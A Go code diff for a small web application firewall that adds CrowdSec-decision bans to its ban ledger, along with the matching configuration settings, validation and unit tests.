 // BanForLimit bans netblock at now for a broken limit, with notes, and
 // returns the ban, and true. A first ban lasts LimitBanDuration. A ban
 // made within LimitBanRepeatWindow after the netblock's ban that ended
-// last, other than one for a clear sign of attack or a lifted one, lasts
+// last, other than one for a clear sign of attack or for CrowdSec's
+// decision, or a lifted one, lasts
 // repeatFactor times as long as that one. A ban that would be longer
 // than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still
 // active, as when two of its requests break a limit at once, that ban is
@@ -308,6 +318,7 @@ func (l *Ledger) BanForLimit(
 	return l.ban(
 		netblock,
 		now,
+		time.Time{},
 		CauseLimit,
 		limitReason(notes),
 		notes,
@@ -323,6 +334,7 @@ func (l *Ledger) WouldBanForLimit(
 	return l.ban(
 		netblock,
 		now,
+		time.Time{},
 		CauseLimit,
 		limitReason(notes),
 		notes,
@@ -341,6 +353,7 @@ func (l *Ledger) BanForAttack(
 	return l.ban(
 		netblock,
 		now,
+		time.Time{},
 		CauseAttack,
 		attackReason(notes),
 		notes,
@@ -356,6 +369,7 @@ func (l *Ledger) WouldBanForAttack(
 	return l.ban(
 		netblock,
 		now,
+		time.Time{},
 		CauseAttack,
 		attackReason(notes),
 		notes,
@@ -363,9 +377,51 @@ func (l *Ledger) WouldBanForAttack(
 	)
 }
 
-// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit
+// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
-// or CauseAttack, made at now would be permanent, as BanForLimit or
+// decision on the client ends, with notes, and returns the ban, and
-// BanForAttack would make it. It works out nothing else of the ban.
+// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
+// decision for <scenario>", the scenario that made the decision.
+func (l *Ledger) BanForCrowdSec(
+	netblock netip.Prefix,
+	now, expires time.Time,
+	scenario string,
+	notes Notes,
+) (Ban, bool) {
+	return l.ban(
+		netblock,
+		now,
+		expires,
+		CauseCrowdSec,
+		crowdSecReason(scenario),
+		notes,
+		true,
+	)
+}
+
+// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
+// the ban: what observe mode would have done.
+func (l *Ledger) WouldBanForCrowdSec(
+	netblock netip.Prefix,
+	now, expires time.Time,
+	scenario string,
+	notes Notes,
+) (Ban, bool) {
+	return l.ban(
+		netblock,
+		now,
+		expires,
+		CauseCrowdSec,
+		crowdSecReason(scenario),
+		notes,
+		false,
+	)
+}
+
+// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
+// CauseAttack or CauseCrowdSec, made at now would be permanent, as
+// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
+// nothing else of the ban. A ban for CrowdSec's decision is never
+// permanent: it ends with the decision.
 func (l *Ledger) WouldBePermanent(
 	netblock netip.Prefix, now time.Time, cause string,
 ) bool {
@@ -377,11 +433,14 @@ func (l *Ledger) WouldBePermanent(
 		held = *bans
 	}
 
-	if cause == CauseAttack {
+	switch cause {
+	case CauseAttack:
 		return l.attackExpiry(held, now).IsZero()
+	case CauseLimit:
+		return l.limitExpiry(held, now).IsZero()
+	default: // CauseCrowdSec
+		return false
 	}
-
-	return l.limitExpiry(held, now).IsZero()
 }
 
 // limitReason is the reason of a ban for a broken limit, with notes.
@@ -400,6 +459,12 @@ func attackReason(notes Notes) string {
 	return "matched the rule " + notes.RuleID
 }
 
+// crowdSecReason is the reason of a ban for CrowdSec's decision, which
+// scenario made.
+func crowdSecReason(scenario string) string {
+	return "CrowdSec's decision for " + scenario
+}
+
 // BanForAdmin bans netblock at now for an admin, with reason, until
 // expires, or for good when expires is zero, and returns the ban, whose
 // cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
@@ -639,13 +704,15 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
 	})
 }
 
-// ban bans netblock at now for cause, CauseLimit or CauseAttack, with
+// ban bans netblock at now for cause, with reason and notes, as
-// reason and notes, as BanForLimit and BanForAttack describe, and returns
+// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
-// the ban, and whether it made it. Unless keep is true, the ban is not
+// ban, and whether it made it. expires is when a ban for CauseCrowdSec
-// made, only returned: it is the ban that would have been made.
+// ends, and zero for the others, whose end the ledger works out. Unless
+// keep is true, the ban is not made, only returned: it is the ban that
+// would have been made.
 func (l *Ledger) ban(
 	netblock netip.Prefix,
-	now time.Time,
+	now, expires time.Time,
 	cause, reason string,
 	notes Notes,
 	keep bool,
@@ -676,10 +743,13 @@ func (l *Ledger) ban(
 		Notes:    notes,
 	}
 
-	if cause == CauseAttack {
+	switch cause {
+	case CauseAttack:
 		ban.Expires = l.attackExpiry(held, now)
-	} else {
+	case CauseLimit:
 		ban.Expires = l.limitExpiry(held, now)
+	default: // CauseCrowdSec
+		ban.Expires = expires
 	}
 
 	if !keep {
@@ -714,13 +784,16 @@ func earlierBans(held []Ban) EarlierBans {
 			fromHere.Attack++
 		case CauseAdmin:
 			fromHere.Admin++
+		case CauseCrowdSec:
+			fromHere.CrowdSec++
 		}
 
 		notes := ban.Notes.EarlierBans
 		count := EarlierBans{
-			Limit:  notes.Limit + fromHere.Limit,
+			Limit:    notes.Limit + fromHere.Limit,
-			Attack: notes.Attack + fromHere.Attack,
+			Attack:   notes.Attack + fromHere.Attack,
-			Admin:  notes.Admin + fromHere.Admin,
+			Admin:    notes.Admin + fromHere.Admin,
+			CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
 		}
 
 		// Of counts that name as many bans, the earlier ban's is taken: it
@@ -735,7 +808,7 @@ func earlierBans(held []Ban) EarlierBans {
 
 // total returns how many bans e counts, of all causes.
 func (e EarlierBans) total() int {
-	return e.Limit + e.Attack + e.Admin
+	return e.Limit + e.Attack + e.Admin + e.CrowdSec
 }
 
 // markChanged has Changed receive a value, unless one is waiting already.
@@ -840,9 +913,9 @@ func (l *Ledger) add(ban Ban) {
 // limitExpiry returns when a ban for a broken limit made at now ends, or
 // zero when it is permanent. held are the netblock's bans, none of them
 // active, of which the one that ended last, other than a ban for a clear
-// sign of attack or a lifted one, can make the new ban longer. A ban an
+// sign of attack or for CrowdSec's decision, or a lifted one, can make the
-// admin adds to bans.json can start after another and end before it, so
+// new ban longer. A ban an admin adds to bans.json can start after
-// that one is looked for among them all.
+// another and end before it, so that one is looked for among them all.
 func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
 	length := l.params.LimitBanDuration
 

internal/bans/bans_test.go

@@ -97,7 +97,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
 	}
 }
 
-func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
+func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
 	t.Parallel()
 
 	params := defaultParams()
@@ -114,12 +114,12 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
 	}
 }
 
-func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
+func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
 	t.Parallel()
 
-	// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
+	// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
-	// 3^13 hours, is not above it, and three times as long would not fit in
+	// hours, is within the maximum, and three times as long would not fit
-	// a time.Duration. The 15th is permanent.
+	// in a time.Duration. The 15th is permanent.
 	params := defaultParams()
 	params.LimitBanPermanentAbove = 100000 * day
 	ledger := bans.New(params)

internal/bans/crowdsec_test.go

@@ -0,0 +1,136 @@
+package bans_test
+
+import (
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+)
+
+// scenario is the scenario of the tests' CrowdSec decisions.
+const scenario = "crowdsecurity/ssh-bf"
+
+func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultParams())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	expires := midnight().Add(4 * time.Hour)
+
+	// The ban that would be made is not made.
+	would, wouldBan := ledger.WouldBanForCrowdSec(
+		netblock,
+		midnight(),
+		expires,
+		scenario,
+		bans.Notes{},
+	)
+	if !wouldBan || len(ledger.Bans(netblock)) != 0 {
+		t.Errorf(
+			"would ban %t, and the ledger holds %+v, want true and nothing",
+			wouldBan,
+			ledger.Bans(netblock),
+		)
+	}
+
+	const reason = "CrowdSec's decision for " + scenario
+
+	ban, made := ledger.BanForCrowdSec(
+		netblock,
+		midnight(),
+		expires,
+		scenario,
+		bans.Notes{},
+	)
+	if !made || !reflect.DeepEqual(ban, would) ||
+		ban.Cause != bans.CauseCrowdSec ||
+		!ban.Expires.Equal(expires) ||
+		ban.Reason != reason ||
+		ledger.Made(bans.CauseCrowdSec) != 1 {
+		t.Errorf(
+			"made %t the ban %+v, want the one that would be made, %+v, for "+
+				"crowdsec until %s",
+			made,
+			ban,
+			would,
+			expires,
+		)
+	}
+
+	// A second decision on the netblock while the ban lasts makes no other.
+	again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
+		expires.Add(time.Hour), scenario, bans.Notes{})
+	if made || !again.Expires.Equal(expires) ||
+		ledger.Made(bans.CauseCrowdSec) != 1 {
+		t.Errorf(
+			"made %t the ban %+v while the first lasts, want none",
+			made,
+			again,
+		)
+	}
+}
+
+func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultParams())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+	expires := midnight().Add(4 * time.Hour)
+	ledger.BanForCrowdSec(
+		netblock,
+		midnight(),
+		expires,
+		scenario,
+		bans.Notes{},
+	)
+
+	// A request as the ban ends is refused, and leaves it as it is.
+	last := expires.Add(-time.Nanosecond)
+
+	held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
+	if !banned || madePermanent || !held.Expires.Equal(expires) ||
+		ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
+		t.Errorf(
+			"as the ban ends, banned %t with %+v, made permanent %t, want "+
+				"refused under the ban as it was",
+			banned,
+			held,
+			madePermanent,
+		)
+	}
+
+	if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
+		t.Error("the ban refuses a request once the decision has ended")
+	}
+}
+
+func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	ledger := bans.New(defaultParams())
+	netblock := netip.MustParsePrefix("203.0.113.9/32")
+
+	// Three times the three days would be permanent; a limit broken as the
+	// ban for CrowdSec's decision ends bans for an hour, as a first broken
+	// limit does.
+	crowdSec, _ := ledger.BanForCrowdSec(
+		netblock,
+		midnight(),
+		midnight().Add(3*day),
+		scenario,
+		bans.Notes{},
+	)
+	limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
+
+	if limit.Expires.Sub(limit.Start) != time.Hour ||
+		limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
+		t.Errorf(
+			"the ban for a limit is %+v, want one of an hour after one for crowdsec",
+			limit,
+		)
+	}
+}

internal/config/config.go

@@ -16,7 +16,6 @@ import (
 	"os"
 	"strconv"
 	"strings"
-	"time"
 
 	"github.com/spf13/viper"
 )
@@ -37,9 +36,7 @@ const (
 var (
 	errNotSize = errors.New(
 		"is not a size such as 512K, 100M or 5G, or off")
-	errNotPositive     = errors.New("must be more than zero, or off")
+	errNotPositive = errors.New("must be more than zero, or off")
-	errNotMilliseconds = errors.New(
-		"is not a whole number of milliseconds above zero, such as 2000")
 	errEmptyItem   = errors.New("has an empty item in its list")
 	errNotNetblock = errors.New(
 		"is not a netblock such as 10.0.0.0/8, or an address")
@@ -65,10 +62,11 @@ func Command(v *viper.Viper) (string, error) {
 	}
 }
 
-// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
+// environment is where WAFFromEnvironment and RProxyFromEnvironment read
-// settings: it notes each value for the log, and keeps the first error. It
+// the settings: it notes each
-// reads every setting through v, the viper NewViper returns, and honours
+// value for the log, and keeps the first error. It reads every setting
-// each setting's _FILE form too.
+// through v, the viper NewViper returns, and honours each setting's _FILE
+// form too.
 type environment struct {
 	v        *viper.Viper
 	settings []slog.Attr
@@ -165,19 +163,6 @@ func (e *environment) size(name, defaultValue string) int64 {
 	return size
 }
 
-// milliseconds reads a setting that is a whole number of milliseconds above
-// zero.
-func (e *environment) milliseconds(name, defaultValue string) time.Duration {
-	value := e.value(name, defaultValue)
-
-	duration, valid := parseMilliseconds(value)
-	if !valid {
-		e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
-	}
-
-	return duration
-}
-
 // parseSize reads a number of bytes with an optional K, M or G suffix, in
 // powers of 1024 (1K is 1024 bytes), or off.
 func parseSize(value string) (int64, error) {
@@ -214,17 +199,6 @@ func splitUnit(value string) (string, int64) {
 	}
 }
 
-// parseMilliseconds reads a whole number of milliseconds above zero, and
-// reports whether it is one.
-func parseMilliseconds(value string) (time.Duration, bool) {
-	n, err := strconv.ParseInt(value, 10, 64)
-	if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
-		return 0, false
-	}
-
-	return time.Duration(n) * time.Millisecond, true
-}
-
 // parseList splits a comma-separated list and trims the spaces around
 // each item. An empty value is an empty list.
 func parseList(value string) ([]string, error) {

internal/config/rproxy.go

@@ -4,6 +4,7 @@ import (
 	"errors"
 	"fmt"
 	"log/slog"
+	"math"
 	"net/netip"
 	"net/url"
 	"strconv"
@@ -63,7 +64,9 @@ var (
 			"such as http://127.0.0.1:8081")
 	errNeedsWAFBackend = errors.New(
 		"is required: it is waf's URL, such as http://waf:8080")
-	errNotDisposition       = errors.New("is not allow or deny")
+	errNotDisposition  = errors.New("is not allow or deny")
+	errNotMilliseconds = errors.New(
+		"is not a whole number of milliseconds above zero, such as 2000")
 	errNotMillisecondsOrOff = errors.New(
 		"is not a whole number of milliseconds above zero, such as 60000, or off",
 	)
@@ -175,6 +178,19 @@ func (e *environment) disposition(name, defaultValue string) string {
 	return value
 }
 
+// milliseconds reads a setting that is a whole number of milliseconds above
+// zero.
+func (e *environment) milliseconds(name, defaultValue string) time.Duration {
+	value := e.value(name, defaultValue)
+
+	duration, valid := parseMilliseconds(value)
+	if !valid {
+		e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
+	}
+
+	return duration
+}
+
 // millisecondsOrOff reads a setting that is a whole number of milliseconds
 // above zero, or off, which is 0.
 func (e *environment) millisecondsOrOff(
@@ -193,6 +209,17 @@ func (e *environment) millisecondsOrOff(
 	return duration
 }
 
+// parseMilliseconds reads a whole number of milliseconds above zero, and
+// reports whether it is one.
+func parseMilliseconds(value string) (time.Duration, bool) {
+	n, err := strconv.ParseInt(value, 10, 64)
+	if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
+		return 0, false
+	}
+
+	return time.Duration(n) * time.Millisecond, true
+}
+
 // parseUpstreamURL reads the app's URL: http or https, a host and an
 // optional port from 1 to 65535, and nothing else, since the request's
 // own path and query go to the app unchanged.

internal/config/rproxy_test.go

@@ -16,7 +16,7 @@ import (
 // rproxy's settings, by name, and their values in these tests.
 const (
 	wafBackend         = "SWW_RPROXY_WAF_BACKEND"
-	wafBackendTimeout  = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
+	rproxyTimeout      = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
 	rproxyNoAnswer     = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
 	rproxyListen       = "SWW_RPROXY_LISTEN_ADDR"
 	rproxyUpstream     = "SWW_RPROXY_UPSTREAM_URL"
@@ -91,7 +91,7 @@ func TestRProxySettingsAreRead(t *testing.T) {
 		rproxyListen:      ":9000",
 		rproxyUpstream:    "http://app:3000",
 		rproxyTrusted:     "192.0.2.0/24",
-		wafBackendTimeout: "150",
+		rproxyTimeout:     "150",
 		rproxyNoAnswer:    "deny",
 		rproxyMaxRequest:  "1K",
 		rproxyMaxResponse: off,
@@ -127,12 +127,12 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 		{wafBackend, ""},
 		{wafBackend, "waf:8080"},
 		{wafBackend, "http://waf:8080/path"},
-		{wafBackendTimeout, "0"},
+		{rproxyTimeout, "0"},
-		{wafBackendTimeout, "-1"},
+		{rproxyTimeout, "-1"},
-		{wafBackendTimeout, off},
+		{rproxyTimeout, off},
-		{wafBackendTimeout, "2s"},
+		{rproxyTimeout, "2s"},
-		{wafBackendTimeout, "1.25"},
+		{rproxyTimeout, "1.25"},
-		{wafBackendTimeout, "99999999999999999"},
+		{rproxyTimeout, "99999999999999999"},
 		{rproxyNoAnswer, "maybe"},
 		{rproxyListen, "8080"},
 		{rproxyUpstream, "app"},
@@ -220,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
 
 	for _, path := range []string{filepath.Join(dir, "missing"), dir} {
 		_, err := rproxyConfig(map[string]string{
-			wafBackend:                  backendURL,
+			wafBackend:              backendURL,
-			wafBackendTimeout + "_FILE": path,
+			rproxyTimeout + "_FILE": path,
 		})
 
-		want := wafBackendTimeout + "_FILE: cannot be read: "
+		want := rproxyTimeout + "_FILE: cannot be read: "
 		if err == nil || !strings.HasPrefix(err.Error(), want) {
 			t.Errorf("%s: error %v, want one starting %s", path, err, want)
 		}
@@ -247,7 +247,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
 	}
 
 	for _, name := range []string{
-		rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
+		rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout,
 		rproxyNoAnswer,
 		rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
 	} {

internal/config/waf.go

@@ -27,7 +27,8 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/remotelog"
 )
 
-// WAF is the settings of `sww waf`. A time or size limit of zero is off.
+// WAF is the settings of `sww waf`. A time or size limit of
+// zero is off.
 type WAF struct {
 	// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
 	ListenAddr string
@@ -70,21 +71,21 @@ type WAF struct {
 	// most bytes a client's requests may carry in a minute, an hour and a
 	// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
 	// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count
-	// toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED):
+	// toward them (SWW_WAF_BYTES_COUNTED): response, request or both.
-	// response, request or both.
 	BytesLimitPerMinute int64
 	BytesLimitPerHour   int64
 	BytesLimitPerDay    int64
 	BytesCounted        string
-	// LookupSource is where each client's AS number and country are looked
+	// LookupSource is where each client's AS number and country are
-	// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
+	// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
-	// LookupDBPath is the lookup database, the IPinfo Lite file looked up in
+	// LookupDBPath is the lookup database, the IPinfo Lite file looked up
-	// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
+	// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
-	// other source. A request waits up to ASNAndCountryLookupTimeout for its
+	// other source. A request waits up to ASNAndCountryLookupTimeout for
-	// client's first answer from GeoJS while a setting needs it
+	// its client's first answer from GeoJS while a setting needs it
 	// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
-	// AddLookupHeaders is true when the app is passed the client's AS number
+	// AddLookupHeaders is true when the app is passed the client's AS
-	// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS).
+	// number and country in headers
+	// (SWW_WAF_ADD_LOOKUP_HEADERS).
 	LookupSource               string
 	LookupDBPath               string
 	ASNAndCountryLookupTimeout time.Duration
@@ -157,6 +158,13 @@ type WAF struct {
 	DNSBLAbuseIPDBLimitPercent int64
 	IPReputationCacheTTL       time.Duration
 	DNSBLAbuseIPDBTimeout      time.Duration
+	// CrowdSecDecisionsURL is where the decision list of the CrowdSec
+	// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
+	// that URL with v1/decisions added to its path, "" while it is unset and
+	// none is. CrowdSecKey is the key the engine is asked with
+	// (SWW_WAF_CROWDSEC_LAPI_KEY).
+	CrowdSecDecisionsURL string
+	CrowdSecKey          string
 	// BanResponse is the status a refused client is answered with, 403
 	// or 429, or 0 to close the connection without an answer
 	// (SWW_WAF_BAN_RESPONSE). It answers a banned client, a request that
@@ -466,12 +474,21 @@ var (
 		"is not an IP address with an optional port, " +
 			"such as 192.0.2.53 or [2001:db8::53]:5353",
 	)
+	errNotLAPIURL = errors.New(
+		"is not an http or https URL without a user or a fragment, " +
+			"such as http://172.17.0.1:8080")
 	errNotRouteWatchURL = errors.New(
 		"is not an http or https URL without a user or a fragment, " +
 			"such as https://routewatch.example")
-	errFetchedOtherwise = errors.New(
+	errNeedsLAPIKey  = errors.New("the engine answers no request without it")
+	errLAPIKeyUnused = errors.New(
+		"it is sent only to the engine at that URL",
+	)
+	errAnotherList = errors.New(
 		"is in SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too",
 	)
+	errFetchedOtherwise = errors.New("is in SWW_WAF_BLOCKLIST_URLS, is " +
+		"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
 	errNotTagList = errors.New(
 		"is not a name, = and an http or https URL, such as " +
 			"torexit=https://example.com/tor.txt")
@@ -486,6 +503,8 @@ var (
 	errExploitTag = errors.New(
 		"cannot lower limits: the rate limits count a request before its " +
 			"rules are matched")
+	errCrowdSecTag = errors.New(
+		"cannot be used: a CrowdSec decision refuses the request first")
 	errNoRequestGetsTag = errors.New(
 		"is a tag no request can get: it is not a name in SWW_WAF_TAG_LISTS, an " +
 			"asn= or country= tag, a dnsbl= tag of a zone in SWW_WAF_DNSBL_ZONES, " +
@@ -587,6 +606,10 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
 			"SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS",
 			"2000",
 		),
+		CrowdSecDecisionsURL: env.crowdSecDecisionsURL(
+			"SWW_WAF_CROWDSEC_LAPI_URL",
+		),
+		CrowdSecKey: env.secret("SWW_WAF_CROWDSEC_LAPI_KEY"),
 		BanResponse: env.banResponse("SWW_WAF_BAN_RESPONSE", "403"),
 		LimitBanDuration: env.durationNotOff(
 			"SWW_WAF_LIMIT_BAN_DURATION",
@@ -733,6 +756,7 @@ func WAFFromEnvironment(v *viper.Viper) (*WAF, error) {
 	env.checkLookupDBPath(cfg)
 	env.checkCountriesAndLookups(cfg)
 	env.checkASNLimitPercentURL(cfg)
+	env.checkCrowdSec(cfg)
 	env.checkTagLists(cfg)
 	env.checkTags(cfg)
 
@@ -822,7 +846,7 @@ func (e *environment) count(name, defaultValue string) int64 {
 }
 
 // bytesCounted reads the setting that is which body bytes count toward the
-// byte limits and the byte anomaly thresholds: response, request or both.
+// byte limits: response, request or both.
 func (e *environment) bytesCounted(name, defaultValue string) string {
 	value := e.value(name, defaultValue)
 	if value != "response" && value != "request" && value != "both" {
@@ -1038,6 +1062,26 @@ func (e *environment) resolver(name string) netip.AddrPort {
 	return resolver
 }
 
+// crowdSecDecisionsURL reads the setting that is the URL of the CrowdSec
+// engine's local API, such as http://172.17.0.1:8080, and returns the URL
+// its decision list is fetched from, that URL with v1/decisions added to
+// its path, "" while it is unset or empty.
+func (e *environment) crowdSecDecisionsURL(name string) string {
+	value := e.value(name, "")
+	if value == "" {
+		return ""
+	}
+
+	lapi, err := url.Parse(value)
+	if err != nil || !isHTTPURL(lapi) {
+		e.check(name, fmt.Errorf("%q %w", value, errNotLAPIURL))
+
+		return ""
+	}
+
+	return lapi.JoinPath("v1", "decisions").String()
+}
+
 // routeWatchURL reads the setting that is the URL of a routewatch instance,
 // "" while it is unset or empty.
 func (e *environment) routeWatchURL(name string) string {
@@ -1147,12 +1191,39 @@ func (e *environment) checkASNLimitPercentURL(cfg *WAF) {
 	}
 }
 
+// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
+// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
+// that is fetched as another list too.
+func (e *environment) checkCrowdSec(cfg *WAF) {
+	decisionsURL := cfg.CrowdSecDecisionsURL
+
+	switch {
+	case decisionsURL != "" && cfg.CrowdSecKey == "":
+		e.check("SWW_WAF_CROWDSEC_LAPI_URL", fmt.Errorf(
+			"is set while SWW_WAF_CROWDSEC_LAPI_KEY is unset; %w",
+			errNeedsLAPIKey,
+		))
+	case decisionsURL == "" && cfg.CrowdSecKey != "":
+		e.check("SWW_WAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
+			"is set while SWW_WAF_CROWDSEC_LAPI_URL is unset; %w",
+			errLAPIKeyUnused,
+		))
+	case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
+		decisionsURL == cfg.ASNLimitPercentURL):
+		e.check(
+			"SWW_WAF_CROWDSEC_LAPI_URL",
+			fmt.Errorf("gives the decision list %q, which %w",
+				decisionsURL, errAnotherList),
+		)
+	}
+}
+
 // checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
 // another list too: the file at a URL is read as one kind of list.
 func (e *environment) checkTagLists(cfg *WAF) {
 	for _, list := range cfg.TagLists {
 		if slices.Contains(cfg.BlocklistURLs, list.URL) ||
-			list.URL == cfg.ASNLimitPercentURL {
+			list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
 			e.check(
 				"SWW_WAF_TAG_LISTS",
 				fmt.Errorf("%q %w", list.URL, errFetchedOtherwise),
@@ -1162,7 +1233,8 @@ func (e *environment) checkTagLists(cfg *WAF) {
 }
 
 // checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
-// never apply: any tag these settings cannot give a request.
+// never apply: crowdsec, whose request is refused before tags are acted on, and
+// any tag these settings cannot give a request.
 func (e *environment) checkTags(cfg *WAF) {
 	for _, tag := range cfg.TagDeny {
 		e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
@@ -1175,6 +1247,10 @@ func (e *environment) checkTags(cfg *WAF) {
 
 // checkTag returns an error when tag would never apply, as checkTags says.
 func checkTag(cfg *WAF, tag string) error {
+	if tag == CrowdSecTag {
+		return fmt.Errorf("%q %w", tag, errCrowdSecTag)
+	}
+
 	if !requestCanGetTag(cfg, tag) {
 		return fmt.Errorf("%q %w", MaskZoneKey(tag), errNoRequestGetsTag)
 	}
@@ -1935,6 +2011,7 @@ const (
 	DNSBLTagPrefix   = "dnsbl="
 	PrefixTagPrefix  = "prefix="
 	AbuseIPDBTag     = "abuseipdb"
+	CrowdSecTag      = "crowdsec"
 	// ExploitSignatureTag is the tag of a request a rule file or the Core
 	// Rule Set matched.
 	ExploitSignatureTag = "exploitsignature"

internal/config/waf_test.go

@@ -65,6 +65,8 @@ const (
 	ipReputationCacheTTL           = "SWW_WAF_IP_REPUTATION_CACHE_TTL"
 	dnsblAbuseIPDBTimeout          = "SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS"
 	routeWatchURL                  = "SWW_WAF_ROUTEWATCH_URL"
+	crowdSecURL                    = "SWW_WAF_CROWDSEC_LAPI_URL"
+	crowdSecKey                    = "SWW_WAF_CROWDSEC_LAPI_KEY"
 	banResponse                    = "SWW_WAF_BAN_RESPONSE"
 	limitBanDuration               = "SWW_WAF_LIMIT_BAN_DURATION"
 	limitBanRepeatWindow           = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
@@ -246,8 +248,8 @@ func (e environment) viper() *viper.Viper {
 	return configtest.Viper(e)
 }
 
-// wafFromEnvironment reads waf's settings from env, which must be valid.
+// fromEnvironment reads the settings from env, which must be valid.
-func wafFromEnvironment(t *testing.T, env environment) *config.WAF {
+func fromEnvironment(t *testing.T, env environment) *config.WAF {
 	t.Helper()
 
 	cfg, err := config.WAFFromEnvironment(env.viper())
@@ -261,7 +263,7 @@ func wafFromEnvironment(t *testing.T, env environment) *config.WAF {
 func TestDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{})
+	cfg := fromEnvironment(t, environment{})
 
 	wantSettings(t, cfg, config.WAF{
 		ListenAddr:                     ":8080",
@@ -332,7 +334,7 @@ func TestDefaults(t *testing.T) {
 func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{})
+	cfg := fromEnvironment(t, environment{})
 
 	rproxy, err := rproxyConfig(map[string]string{wafBackend: backendURL})
 	if err != nil {
@@ -357,7 +359,7 @@ func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) {
 func TestValuesAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		listenAddr:                     "127.0.0.1:9000",
 		mode:                           "observe",
 		allowNets:                      "192.0.2.7",
@@ -427,7 +429,7 @@ func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) {
 			48, 500, slog.LevelWarn,
 		},
 	} {
-		cfg := wafFromEnvironment(t, tc.env)
+		cfg := fromEnvironment(t, tc.env)
 		if cfg.IPv6GroupPrefix != tc.prefix ||
 			cfg.MaxTrackedClients != tc.clients ||
 			cfg.LogLevel != tc.level {
@@ -442,7 +444,7 @@ func TestIPv6GroupPrefixFrom32To128(t *testing.T) {
 	t.Parallel()
 
 	for _, length := range []int{32, 128} {
